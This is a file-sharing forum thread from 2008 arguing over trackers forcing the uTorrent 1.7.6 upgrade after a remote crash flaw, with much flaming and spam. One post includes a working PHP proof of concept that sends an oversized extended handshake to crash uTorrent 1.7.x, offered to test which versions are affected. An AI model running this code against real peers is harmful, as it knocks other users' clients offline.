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disconny
01-18-2008, 08:38 PM
This is a call for everyone to take a stand against the forced upgrades to utorrent 1.7.6!
1.6 and 1.6.1 are fine releases!

Adam1990
01-18-2008, 08:40 PM
your a moron.

madbeer
01-18-2008, 08:43 PM
your a moron.

sleepyy
01-18-2008, 08:49 PM
This is a call for everyone to take a stand against the forced upgrades to utorrent 1.7.6!
1.6 and 1.6.1 are fine releases!




http://img2.freeimagehosting.net/uploads/90c4460338.jpg (http://www.freeimagehosting.net/)

Zaxx
01-18-2008, 08:58 PM
This is a call for everyone to take a stand against the forced upgrades to utorrent 1.7.6!
1.6 and 1.6.1 are fine releases!

Cool! Then you can take a chance of DDOSing your favorite trackers! :blink:

broomhead
01-18-2008, 09:02 PM
ROFL your an idiot. Do you know why they forced us to change or are you just bitching because they want you to click two buttons and install a new version.

shurato
01-18-2008, 09:05 PM
http://img2.freeimagehosting.net/uploads/90c4460338.jpg (http://www.freeimagehosting.net/)

Is that really a kid and not some alien beast?

fOrUmAs
01-18-2008, 09:07 PM
This is a call for everyone to take a stand against the forced upgrades to utorrent 1.7.6!
1.6 and 1.6.1 are fine releases!

can u please stop bitching and opening new thread over and over??

where is the point??

if u dont like it then dont use it simple as that

its for your safety;)

C-mos
01-18-2008, 09:08 PM
http://img2.freeimagehosting.net/uploads/90c4460338.jpg (http://www.freeimagehosting.net/)

Is that really a kid and not some alien beast?

alien beast :D

_coder_
01-18-2008, 09:09 PM
rofl

danio
01-18-2008, 09:09 PM
lol, this might be the dumbest thing i've read on FST so far.

Shinigami
01-18-2008, 09:10 PM
hahahahahaha oke this made me laugh! :D the picture I am talking about and the replies :P hes got nice lips though, wicked man!

IceTee
01-18-2008, 09:14 PM
your a moron.

:lol:

monk3y
01-18-2008, 09:32 PM
i hope you are joking, if not then please :

enough said :P

mrnobody
01-18-2008, 09:43 PM
people really need to watch their mouth!

he made a simple request (in big words), can't ya deny in nice word?

sleepyy
01-18-2008, 10:02 PM
people really need to watch their mouth!

he made a simple request (in big words), can't ya deny in nice word?

If i offended anybody with that image i will remove it at request and
apologise to those that i have upset. I just thought this thread is pointless due to most of us have no knowleadge of how the client works in terms of exploits or code and really we can't do anything about it due to the fact the site owner decide what's final.

grimms
01-18-2008, 10:08 PM
New version hasn't been working for me. Every new torrent i download turns red, then updates, then says offline in tracker status column. Never had this problem before ever in uTorrent 1.6.1. Other then that switching to the new version was not a problem.

fOrUmAs
01-18-2008, 10:11 PM
New version hasn't been working for me. Every new torrent i download turns red, then updates, then says offline in tracker status column. Never had this problem before ever in uTorrent 1.6.1. Other then that switching to the new version was not a problem.


probably your firewall are blocking new version of utorrent..u need to again set new rule for new utorrent in your firewall:)

niceguy4
01-18-2008, 10:14 PM
your a moron.

+1

this thread should be close.

grimms
01-18-2008, 10:14 PM
New version hasn't been working for me. Every new torrent i download turns red, then updates, then says offline in tracker status column. Never had this problem before ever in uTorrent 1.6.1. Other then that switching to the new version was not a problem.


probably your firewall are blocking new version of utorrent..u need to again set new rule for new utorrent in your firewall:)

See thats why i like you Forumas. Useful info seems to always pour of your mind, then typed in this forum. Thanks man. I'll take a look now.:D

Forumas it is not my firewall already gave it full access to all inbound and outboubd traffic. I'm not able to connect to a swarm of peers for some reason. If anyone has an idea or could point me in the right direction. Leave me a link via pm. Thanks everyone.

BamZow
01-18-2008, 10:23 PM
Can i have this invite plz! Me onyly trade sometimes!!!

fOrUmAs
01-18-2008, 10:26 PM
See thats why i like you Forumas. Useful info seems to always pour of your mind, then typed in this forum. Thanks man. I'll take a look now.:D

Forumas it is not my firewall already gave it full access to all inbound and outboubd traffic. I'm not able to connect to a swarm of peers for some reason. If anyone has an idea or could point me in the right direction. Leave me a link via pm. Thanks everyone.

hehe i love to help if i can:D

can u tell me what error u getting in tracker status??

also disable complete your firewall and restart utorrent..must work:)

hangemhigh
01-18-2008, 10:27 PM
sct already banned 161..

they made up my mind for me.

fatcat69
01-18-2008, 10:31 PM
This is a call for everyone to take a stand against the forced upgrades to utorrent 1.7.6!
1.6 and 1.6.1 are fine releases!




http://img2.freeimagehosting.net/uploads/90c4460338.jpg (http://www.freeimagehosting.net/)




Lol nice
:lol:

SenorBubbz
01-18-2008, 11:16 PM
http://img2.freeimagehosting.net/uploads/90c4460338.jpg (http://www.freeimagehosting.net/)

I laughed sooooooooo hard!!

KFlint
01-18-2008, 11:28 PM
ouch!! what a cool kid!

broomhead
01-18-2008, 11:34 PM
God, if there is one thing i hate about FST its the spamming, first of all this thread is ridiculous and then the random posts asking for an invite.

Cabalo
01-18-2008, 11:35 PM
Can i have this invite plz! Me onyly trade sometimes!!!
great post! :mellow:

fOrUmAs
01-18-2008, 11:44 PM
God, if there is one thing i hate about FST its the spamming, first of all this thread is ridiculous and then the random posts asking for an invite.

i agree but since @KFlint new BT or anyother mod didin't say nothing then we cant do much abouth that.:cool:

DeNeDe
01-18-2008, 11:52 PM
OMG what are u thinking .. let all of us go back to the stone age .. we have to evolve not the opposite ..

1000possibleclaws
01-19-2008, 12:06 AM
Can i have this invite plz! Me onyly trade sometimes!!!


lmao i hope you're kidding

fatcat69
01-19-2008, 12:09 AM
Can i have this invite plz! Me onyly trade sometimes!!!

Heres your invite!
http://www.lapuertaoscura.com/img/portadas/529_portada.jpg

:lol::lol::lol::lol:

deuce6000
01-19-2008, 12:41 AM
I agree with the rest that this is a pretty retarded thread,sorry.

Horatiu
01-19-2008, 12:45 AM
Well then don't post in here :whistling

Actatoi
01-19-2008, 12:48 AM
Well then don't post in here :whistling

But the temptation..... gnhhhhh



doh :pinch:

wrongun92
01-19-2008, 12:54 AM
for the enlightened souls, could you please give a reason for the change to the unenlightened souls so that they can understand why the need for the upgrade.

Thanks
:cool:

saulin
01-19-2008, 01:20 AM
for the enlightened souls, could you please give a reason for the change to the unenlightened souls so that they can understand why the need for the upgrade.

Thanks
:cool:


Well ScT says there is a bug or some crap like that on the older versions? Some kind of exploit which I'm not sure what it does.

TP635
01-19-2008, 01:34 AM
for the enlightened souls, could you please give a reason for the change to the unenlightened souls so that they can understand why the need for the upgrade.

Thanks
:cool:

If your are a member of a tracker who banned the older version then you better up grade. That to me is a good enough reason.

bornwithnoname
01-19-2008, 02:08 AM
for the enlightened souls, could you please give a reason for the change to the unenlightened souls so that they can understand why the need for the upgrade.

Thanks
:cool:


Well ScT says there is a bug or some crap like that on the older versions? Some kind of exploit which I'm not sure what it does.

Utorrent has agreed that there is a security flaw 1.76 the patched v.

wrongun92
01-19-2008, 03:41 AM
for the enlightened souls, could you please give a reason for the change to the unenlightened souls so that they can understand why the need for the upgrade.

Thanks
:cool:
Well ScT says there is a bug or some crap like that on the older versions? Some kind of exploit which I'm not sure what it does.





Well ScT says there is a bug or some crap like that on the older versions? Some kind of exploit which I'm not sure what it does.

Utorrent has agreed that there is a security flaw 1.76 the patched v.

Thank you,

OP, there's your answer buddy

RoSsoNeRI
01-19-2008, 03:52 AM
your a moron.

:lol::lol:

grimms
01-19-2008, 04:56 AM
See thats why i like you Forumas. Useful info seems to always pour of your mind, then typed in this forum. Thanks man. I'll take a look now.:D

Forumas it is not my firewall already gave it full access to all inbound and outboubd traffic. I'm not able to connect to a swarm of peers for some reason. If anyone has an idea or could point me in the right direction. Leave me a link via pm. Thanks everyone.

hehe i love to help if i can:D

can u tell me what error u getting in tracker status??

also disable complete your firewall and restart utorrent..must work:)

Just keep getting offline timed out. Every torrent seems to work except one torrent from myspleen (Failure: Bad Client (UT1760). They banned 1.7.6 which i don't understand why, if every other tracker is embracing this current version due to the doss attack situation . Any Myspleen mods on here?

stoi
01-19-2008, 05:12 AM
they may do the same as BCG

Ban all clients and only allow those that we want in.

which means as its a brand new build they might want to see if its ok first before they allow it. i have seen us wait 2-3 weeks before allowing a new build of a client, which is why i was pretty surprised when i woke up this morning, we had already allowed 1.7.6 as it usually takes a bit.

zxion
01-19-2008, 05:17 AM
Long Live 1.7.6!!!!!!!!!!

The Wanderer
01-19-2008, 07:06 AM
Post in their forums the problems you have:

http://forum.utorrent.com/viewtopic.php?id=29330



New version hasn't been working for me. Every new torrent i download turns red, then updates, then says offline in tracker status column. Never had this problem before ever in uTorrent 1.6.1. Other then that switching to the new version was not a problem.


probably your firewall are blocking new version of utorrent..u need to again set new rule for new utorrent in your firewall:)

Detale
01-19-2008, 07:22 AM
Guys no need to humiliate the poor guy, he didn't even say why he wanted to "unite" against the new version perhaps he missed this news thread


http://filesharingtalk.com/vb3/../picture.php?albumid=25&pictureid=51"Both the official BitTorrent and uTorrent clients are vulnerable to a remote denial-of-service attack, due to the way they handle user-supplied data. Versions found to be vulnerable so far are the official BitTorrent 6.0 client,
uTorrent 1.7.x, uTorrent 1.6.x and uTorrent 1.8-alpha-7834.

Security vulnerabilities in BitTorrent clients are relatively rare, although not unheard of. Luigi Auriemma, a Milan-based security expert, claims to have found a vulnerability in various BitTorrent clients based on the way they handle user-supplied data. The flaw allows an attacker to crash the application, effectively denying service to legitimate users. Code execution is not possible, which means there is little reason for users to panic.

So far, the problem appears to affect these clients:

- BitTorrent 6.0 (build 5535)
- uTorrent 1.7.5 (build 4602)
- uTorrent 1.8 (alpha 7834)

Luigi is reporting that earlier versions of these clients may also be vulnerable and this appears to have been confirmed by the uTorrent team. The problems are confirmed to exist on Windows versions of the software. As yet, Mac and Linux versions of the official BitTorrent client have not been tested.

The uTorrent team state the flaw affects all older uTorrent versions 1.6 and 1.7.x. too but have been quick to respond, releasing a new build - uTorrent 1.7.6 (build 7859) "
____________
Most trackers i have seen allow this updated version (1.7.6) already.

:source: Source: TorrentFreak (http://torrentfreak.com/bittorrent-clients-vulnerable-to-remote-dos-attack-080117/)
:down: Download Link: http://download.utorrent.com/1.7.6/utorrent.exe

silvertec
01-19-2008, 07:32 AM
utorrent suxs
I won't be using anything since the joint venture with the mpaa and utorrent
either 1.6 or I go with something else
Hatile may be the option for me now

rvt
01-19-2008, 05:44 PM
Do you know why they forced us to change

Do they know why they are forcing a change?

The exploit that allows running code on 1.6.x is an old exploit, and on any decent private site is not usable. 1.6.x is not suitable for public site use, but it's been that way since february of last year. It's almost 12 months too late to get your knickers in a twist about it.

The latest remote crash exploit doesn't even work on 1.6.x versions. Freaking out and banning one of the few versions that aren't susceptible is only putting users in a worse position.

fOrUmAs
01-19-2008, 05:47 PM
utorrent suxs
I won't be using anything since the joint venture with the mpaa and utorrent
either 1.6 or I go with something else
Hatile may be the option for me now

wow the world will end if u do that:dabs:

please use Bitcomet then lol

rvt
01-19-2008, 05:48 PM
Guys no need to humiliate the poor guy, he didn't even say why he wanted to "unite" against the new version perhaps he missed this news thread



The uTorrent team state the flaw affects all older uTorrent versions 1.6 and 1.7.x. too but have been quick to respond, releasing a new build - uTorrent 1.7.6 (build 7859)

Now they are saying it doesn't affect 1.6, and my testing agrees.
1.6 does not even display the info gathered from extended messaging version info.

http://forum.utorrent.com/viewtopic.php?pid=298736#p298736


It didn't effect the 1.6 line.

contravene
01-19-2008, 08:51 PM
hehe i love to help if i can:D

can u tell me what error u getting in tracker status??

also disable complete your firewall and restart utorrent..must work:)

Just keep getting offline timed out. Every torrent seems to work except one torrent from myspleen (Failure: Bad Client (UT1760). They banned 1.7.6 which i don't understand why, if every other tracker is embracing this current version due to the doss attack situation . Any Myspleen mods on here?

I've seen another tracker ban 1.7.6

now I'm a bit confused as to what version I should use. I don't really want to switch to another client.

OnEyM
01-19-2008, 08:57 PM
http://blog.orly.ch/files/lolz-you-fail.jpg

grimms
01-19-2008, 09:11 PM
I hope in a few weeks they make an exception for uTorrent 1.6.1. If they do i'm reverting back!

whitmar
01-19-2008, 09:35 PM
Thanks, rvt, for shedding light on this issue. It's starting to sound like a tempest in a teapot. I'm glad to know my old uTorrent version hadn't left me as vulnerable as it first sounded. Nevertheless, the upgrade was very easy and I can't tell I changed anything except the version number in the window bar. I've read that it could consume more system resources, but I can't find any evidence of that on either of my systems. At this point, I don't see any reason to reinstall an older version or change back to Azureus (the real resource glutton).

`Dr. Nick Riviera`
01-19-2008, 09:40 PM
I don't have an issue with the new client, I just wish myspleen would approve it... :|

MARINE619
01-19-2008, 10:05 PM
it seems he is a cheater and because of utorrent 1.7.6 he will not be able to cheat so made this topic;)

TP635
01-19-2008, 11:53 PM
it seems he is a cheater and because of utorrent 1.7.6 he will not be able to cheat so made this topic;)

How very interesting. Tell us more...

fstokebanget
01-20-2008, 12:03 AM
it seems he is a cheater and because of utorrent 1.7.6 he will not be able to cheat so made this topic;)

:lol:

monk3y
01-20-2008, 12:28 AM
it seems he is a cheater and because of utorrent 1.7.6 he will not be able to cheat so made this topic;)

can i have thiz cheating zyztem ? wontz tu be l33t ! oh plz ! :blink:

magushun
01-20-2008, 01:09 AM
lol why do you insist on using prev versions, they are the same

Cabalo
01-20-2008, 05:40 AM
it seems he is a cheater and because of utorrent 1.7.6 he will not be able to cheat so made this topic;)
oh, you seem to know a lot about that... :eyebrows: tell us what else do you know, u seem enlightened on cheating issues...

dineshreddy
01-20-2008, 05:42 AM
just close the thrwad this is some gibberish

rvt
01-20-2008, 05:47 AM
Any intelligent cheater can present a 1.7.6 version to a tracker, it's not hard to do.

Maybe he prefers to stick to 1.6.1 because it has zero code from bittorrent inc in it. Even if you don't believe the conspiracy theories, that's not a bad thing. If we're all honest, the real reason bt inc bought uT was because the official client was a badly coded POS.

rawDawg
01-20-2008, 08:07 AM
the update fixes a bug :P

game1283
01-20-2008, 08:30 AM
it seems he is a cheater and because of utorrent 1.7.6 he will not be able to cheat so made this topic;)
oh, you seem to know a lot about that... :eyebrows: tell us what else do you know, u seem enlightened on cheating issues...

oh, you seem you want to know a lot about that... :eyebrows: cheating issues...?

Rip The Jacker
01-20-2008, 08:33 AM
This is a call for everyone to take a stand against the forced upgrades to utorrent 1.7.6!
1.6 and 1.6.1 are fine releases!
Whoa. I didn't know there was an updated version of uTorrent. Thanks for telling me! :)

*updates to 1.7.6*

grimms
01-20-2008, 08:34 AM
Yup came out two days ago.

angryghost
01-20-2008, 08:40 AM
your a moron.

couldnt have said it better

kp666
01-20-2008, 02:46 PM
why?

krunktastic
01-20-2008, 08:20 PM
I don't understand the purpose of this thread. There is no reason to "take a stand" against the new version of uTorrent. It's for your safety.

Likewise, a thread on FST probably won't make a difference.

rvt
01-20-2008, 09:33 PM
It's for your safety.
It's not for anyones safety, it's so that uT can force all those people who have avoided 1.7.x to upgrade and so some trackers can flex their muscles.

If you check the uT changelog now, they have changed it to say it affects all 1.7.x and 1.8.x builds. This is a different story to the earlier change log that stated 1.6.x builds were also affected. I wonder if we'll get a changelog for the changelog.

uT staff are not above lying to get what they want, and for some reason they wanted everyone on 1.7.6. Listing 1.6.x in the changelog was a lie, because they knew when they posted that it was not affected, and I know they knew :P

Notice how all 1.7.x and 1.8.x versions are affected (since april last year), and yet this bug is dicovered by accident and not by a large number of users being crashed. Even if you are attacked by this, you can leave uT happily running with the general tab open and it will not crash. It requires you to view the peers list while connected to the attacker to crash.
I'm guessing that 90-95% of the time, you are doing other things while uT runs in the background, which means you don't need the peers list open and uT will not be susceptible.

A few sides have been spreading FUD about this issue, including uT staff, when the reality is that this is not that big a deal at all.

Whatever the upgrade is for, it's not for safety.

weenden
01-20-2008, 09:39 PM
tooo late im already on the darkside

rvt
01-20-2008, 09:48 PM
:lol:

The claims that it affects 1.6.x are back in the changelog.
If they can't decide if their client is bugged or not, would you trust their latest version?

mgordo
01-20-2008, 10:02 PM
I don't know whether to :D or:cry:

On 2nd thoughts i think i'll :frusty:

grimms
01-20-2008, 10:36 PM
Damn i wonder if uTorrent has some ill intentions. Starting to feel differently about the upgrade. Not in a good way.

broomhead
01-20-2008, 11:05 PM
Quote from What.cd? announcement:

We have confirmed that 1.6.1 is not affected and will be unbanned shortly

fOrUmAs
01-20-2008, 11:29 PM
Quote from What.cd? announcement:

We have confirmed that 1.6.1 is not affected and will be unbanned shortly

lol that is old news,also they have allowed 161 becuase its is allowed on waffles,lol they cant check so they need to see from other sites,but that will nothing change since 161 and all version except 176 are banned from BCG,TTi,ScT,NB and many more..

so if u are member on any of these sites u can only use 176 so there is no point if whatcd and waffles allowed 161:D

stoi
01-20-2008, 11:33 PM
actually BCG hasnt banned it yet, and we are still discussing it, we havnt actually banned 1.7.5 either but i think thats going to be a definitive later, but as for 1.6.# we dont know what we are going to do, that many different stories atm.

Im sure you will find out in a few hours if we have/havnt banned the 1.6.# versions.

fOrUmAs
01-20-2008, 11:41 PM
actually BCG hasnt banned it yet, and we are still discussing it, we havnt actually banned 1.7.5 either but i think thats going to be a definitive later, but as for 1.6.# we dont know what we are going to do, that many different stories atm.

Im sure you will find out in a few hours if we have/havnt banned the 1.6.# versions.

then why we have recived announcements that is banned?

there are not many stories at all,u have read all from utorrent forum then u should know very well what to do and what other sites have done..just ban that bugy 161 for our safety

grimms
01-20-2008, 11:45 PM
actually BCG hasnt banned it yet, and we are still discussing it, we havnt actually banned 1.7.5 either but i think thats going to be a definitive later, but as for 1.6.# we dont know what we are going to do, that many different stories atm.

Im sure you will find out in a few hours if we have/havnt banned the 1.6.# versions.

Wasn't there a front page announcement that you banned all versions except 1.6.1? I would ask uTorrent what's really going on here.:huh:

rvt
01-20-2008, 11:45 PM
I really would recommend against reading the uT forums for information.
Even though one of the coders states more than once that 1.6.x is not affected, firon refuses to remove that version from his post.

A few people there are on a crusade to see 1.6.1 banned from private trackers and get everyone using 1.7.6
Everyone who has actually tested the exploit on 1.6.1 knows it is not affected, and neither is it affected by the malformed torrent exploit from milw0rm.

So, 1.6.1 is shaping up to be less buggy than any release so far from the entire 1.7.x branch. Do not believe the FUD being spread by a few people on the ut forums, 1.6.1 still has a lot of value.

grimms
01-20-2008, 11:50 PM
I really would recommend against reading the uT forums for information.
Even though one of the coders states more than once that 1.6.x is not affected, firon refuses to remove that version from his post.

A few people there are on a crusade to see 1.6.1 banned from private trackers and get everyone using 1.7.6
Everyone who has actually tested the exploit on 1.6.1 knows it is not affected, and neither is it affected by the malformed torrent exploit from milw0rm.

So, 1.6.1 is shaping up to be less buggy than any release so far from the entire 1.7.x branch. Do not believe the FUD being spread by a few people on the ut forums, 1.6.1 still has a lot of value.

rvt i now believe you. This is very shameful tactic pulling going on at uTorrent. I think their mad cause 95% of their users only use uTorrent 1.6.1 (well did until this supposed ghost bug goin on) happened. I also never experienced any problems with that version. For my 2 1/2 years of using it. I think it's a ploy to deter trackers and users alike from using 1.6.1. Maybe cause donations are down as of lately? This is my opinion though. But i welcome all future criticism.;)

edit: Hope some of their testers and developers are lurking to explain otherwise

fOrUmAs
01-20-2008, 11:52 PM
I really would recommend against reading the uT forums for information.
Even though one of the coders states more than once that 1.6.x is not affected, firon refuses to remove that version from his post.


lol then we should ask azureus team abouth that then?? why would i send my broken xbox to microsoft when i can send it to sony lol its the same..

there is a bug in 16x and that have been confirmed many times by different sites also not just some of the utorrent team..

just move along and use what is more secure and reliable 176 ftw:)

JROQuinn
01-20-2008, 11:54 PM
its a conspiracy I say!...the aliens are coming!

grimms
01-21-2008, 12:00 AM
there is a bug in 16x and that have been confirmed many times by different sites also not just some of the utorrent team..

just move along and use what is more secure and reliable 176 ftw:)

Unfortunately most of us already has done that including me. They forced my hand.:(

Cabalo
01-21-2008, 12:06 AM
I really would recommend against reading the uT forums for information.
Even though one of the coders states more than once that 1.6.x is not affected, firon refuses to remove that version from his post.

A few people there are on a crusade to see 1.6.1 banned from private trackers and get everyone using 1.7.6
Everyone who has actually tested the exploit on 1.6.1 knows it is not affected, and neither is it affected by the malformed torrent exploit from milw0rm.

So, 1.6.1 is shaping up to be less buggy than any release so far from the entire 1.7.x branch. Do not believe the FUD being spread by a few people on the ut forums, 1.6.1 still has a lot of value.

QFT

i think there might be an hidden agenda on utorrent people to make people quit the 1.6.x versions. I wonder if it is related to 1.7.x versions being part of the original bittorrent team and having callbacks... :whistling

fOrUmAs
01-21-2008, 12:10 AM
there is a bug in 16x and that have been confirmed many times by different sites also not just some of the utorrent team..

just move along and use what is more secure and reliable 176 ftw:)

Unfortunately most of us already has done that including me. They forced my hand.:(

but no one force anyone,if u dont want and if u sure u are safe with that 161 then continue to use it..

:)

sooner ot later 161 will be banned anyway from trackers since 161 is pretty old anyway and new version are simple better and secure than old 161..and that was trackers owner-sysop are looking for secure client

JROQuinn
01-21-2008, 12:11 AM
i think there might be an hidden agenda on utorrent people to make people quit the 1.6.x versions. I wonder if it is related to 1.7.x versions being part of the original bittorrent team and having callbacks... :whistling

Hence the reasoning behind my comment above, who knows though. Bitmetv says 1.6.1 is immune & ok to use.

stoi
01-21-2008, 12:16 AM
the announement was sent out when 1.6.# was effected, every tracker was banning it, we held off though but made the announcement that we would be banning it.

new info has come out since then that 1.6.# is NOT effected by this.

other trackers banned and now allow it.

we didnt ban it but sent an announcement that we would, are we not allowed to change our minds even though other trackers have.

Announcement on BCG

Since the exploit we were concerned about does not affect uTorrent 1.6 and 1.6.1, those clients will still be allowed.

The only version of uTorrent in the 1.7 series that is allowed now is 1.7.6. This change is in effect already.

-Staff

JROQuinn
01-21-2008, 12:20 AM
nah I was just informing others bitmetv is allowing it in case they didnt notice.

stoi
01-21-2008, 12:25 AM
actually BCG hasnt banned it yet, and we are still discussing it, we havnt actually banned 1.7.5 either but i think thats going to be a definitive later, but as for 1.6.# we dont know what we are going to do, that many different stories atm.

Im sure you will find out in a few hours if we have/havnt banned the 1.6.# versions.

then why we have recived announcements that is banned?

there are not many stories at all,u have read all from utorrent forum then u should know very well what to do and what other sites have done..just ban that bugy 161 for our safety

my reply was to that post not yours mate.

JROQuinn
01-21-2008, 12:30 AM
ah ok, I tend to pass up some things if they dont seem as much of a big deal to me as others.

rvt
01-21-2008, 12:41 AM
@Forumas

There was a bug in 1.6.0 that involved a malformed announce URL in a torrent file.
It was never going to affect any private torrent site that uses passkeys.
Even so, it was fixed in 1.6.1, which is the version a lot of people were using.

If you can back up your claims, feel free to do so, until then here's some reading:

POC for 1.6.0: http://milw0rm.com/exploits/3296

1.6.1 release: http://forum.utorrent.com/viewtopic.php?id=19865
- Fix: Fix malformed .torrent exploit

The latest exploit: http://aluigi.altervista.org/adv/ruttorrent-adv.txt

Some php code to test uT versions yourself. Change ip/port/hash, flip to ut and open the peers tab, then do anything else to make it crash.
1.6.x versions will not crash, 1.7.x versions will.



<?php

$ip='127.0.0.1';
$port=12345;
$hash='0123456789012345678901234567890123456789';
$hash=pack('H*',$hash);
$sock=fsockopen($ip,$port,$errno,$errstr,5);
if(!$sock) die('Dead');
fputs($sock,chr(19).'BitTorrent protocol'.chr(0).chr(0).chr(0).chr(0).chr(0).chr(16).chr(0).chr(0).$hash.'-AZ5000-123456789012');
$message='d1:ei0e1:mde1:v15000:';
for($i=0;$i<1500;$i++) $message.='0123456789';
$message.='e';
$num=pack('N',strlen($message)+2);
fputs($sock,$num.chr(20).chr(0).$message);
sleep(20);

?>Also, can you name one exploit for 1.6.1 that's listed in any of the security databases?
1.7.x may have some bug fixes in them, but claiming they are more secure is just BS unless you can prove there are more exploits for 1.6.1 than for 1.7.x.

Finally:


( Firon ) tbh, I'd rather have people believe it affects it
( Firon ) but yeah, if you really wanna know, 1.6.x isn't affected but the others are.From the horses mouth.

Maybe the php code above will meet the "burden of proof" demanded by ut fanbois in their forums, now everyone can test ut 1.7.x to destruction :P

pro267
01-21-2008, 01:28 AM
lol that is old news,also they have allowed 161 becuase its is allowed on waffles,lol they cant check so they need to see from other sites,but that will nothing change since 161 and all version except 176 are banned from BCG,TTi,ScT,NB and many more..

there are not many stories at all,u have read all from utorrent forum then u should know very well what to do and what other sites have done..just ban that bugy 161 for our safety

there is a bug in 16x and that have been confirmed many times by different sites also not just some of the utorrent team..

sooner ot later 161 will be banned anyway from trackers since 161 is pretty old anyway and new version are simple better and secure than old 161..
You keep saying 1.6.1 is buggy and unsecure but present no actual proof. If you don't have proof then please refrain from spreading rumors. Relying on sites banning utorrent v1.6.1 does not constitute as proof.

Oh, and one more piece of advice, Forumas: you should really try to refrain from getting into arguments with rvt on these matters, unless you really know what you're talking about. Perhaps you don't know who he is but I can assure you that the man knows his shit.

rvt
01-21-2008, 01:34 AM
Yep, that's my shit, it's big and brown :P

fOrUmAs
01-21-2008, 01:35 AM
If you can back up your claims, feel free to do so

lol i havent ban 161 owners did and i believe them,proofs are at utorrentforum also



1.6.x versions will not crash, 1.7.x versions will.

that is why every version except 176 are bugy even 175 but not 176 lol



Finally:


( Firon ) tbh, I'd rather have people believe it affects it
( Firon ) but yeah, if you really wanna know, 1.6.x isn't affected but the others are.From the horses mouth.

yea that is very funny,he was talking something else few days ago and now this,i dont believe in this much or him anyway

aslo Firon is member on ScT and on few more trackers,so if he said that then we can all use again 161 then it will be probably unbanned..but since he havent said anything yet on ScT then i cant tell more..

also they have probably talk to Firon before they have decided to ban..

grimms
01-21-2008, 01:39 AM
the announement was sent out when 1.6.# was effected, every tracker was banning it, we held off though but made the announcement that we would be banning it.

new info has come out since then that 1.6.# is NOT effected by this.

other trackers banned and now allow it.

we didnt ban it but sent an announcement that we would, are we not allowed to change our minds even though other trackers have.

Announcement on BCG

Since the exploit we were concerned about does not affect uTorrent 1.6 and 1.6.1, those clients will still be allowed.

The only version of uTorrent in the 1.7 series that is allowed now is 1.7.6. This change is in effect already.

-Staff

Thanks for clearing that up stoi. I hate change but did upgrade to 1.7.6 due to most trackers banning 1.6.1. In the end (even after me making my own big deal about it) it really won't matter. If uTorrent says something like this, we must follow it, until theres good enough proof otherwise.

rvt
01-21-2008, 01:59 AM
yea that is very funny,he was talking something else few days ago and now this,i dont believe in this much or him anyway

aslo Firon is member on ScT and on few more trackers,so if he said that then we can all use again 161 then it will be probably unbanned..but since he havent said anything yet on ScT then i cant tell more..

As well as being a tracker admin, Firon is also a paid employee of bittorrent inc.
Hardly impartial.

If you don't believe that one, then how about this one from someone who actually codes for uT/BT:

Oh geez, this thing still. Listen, I already posted in the thread that the exploit didn't effect 1.6 line.


lol i havent ban 161 owners did and i believe them,proofs are at utorrentforum also
Nope, they aren't. Feel free to go search them. "1.6.1 exploit" brings up the exploit for 1.6.0. There is no exploit for 1.6.1.


that is why every version except 176 are bugy even 175 but not 176 lol
Yes, I know, I actually tested them all.
The point was that 1.6.x is not at all susceptible to the exploit firon claims it is susceptible to, and neither is it susceptible to the exploit for 1.6.0.
All 1.7.x up to 1.7.5 are, and therefore have more security issues than 1.6.1


until theres good enough proof otherwise.
You can run the php code I posted yourself for proof. Or download the precompiled exploit from the link I gave. Or take the word of a uT/BT developer when he says 1.6.x is not affected. Or the retraction by the guy who initially linked 1.6 into this whole thing. Or the attempted retraction in the changelog and ut forums, http://forum.utorrent.com/viewtopic.php?pid=299956#p299956

I could make a video I suppose, but videos can be edited. If you run the code and see it with your own eyes, then it must be proof.

pro267
01-21-2008, 03:00 AM
Yep, that's my shit, it's big and brown :P
Hmm... speaking of shit, always wanted to use this one:

http://img137.imageshack.us/img137/7928/2girlsei2.gif

kostnkost
01-21-2008, 03:20 AM
RevTT just announced the ban now.

Ugghh.......

Mac4ever
01-21-2008, 03:24 AM
i really like 1.6.1
anyway dont mind using the new ones as they look pretty much the same to me.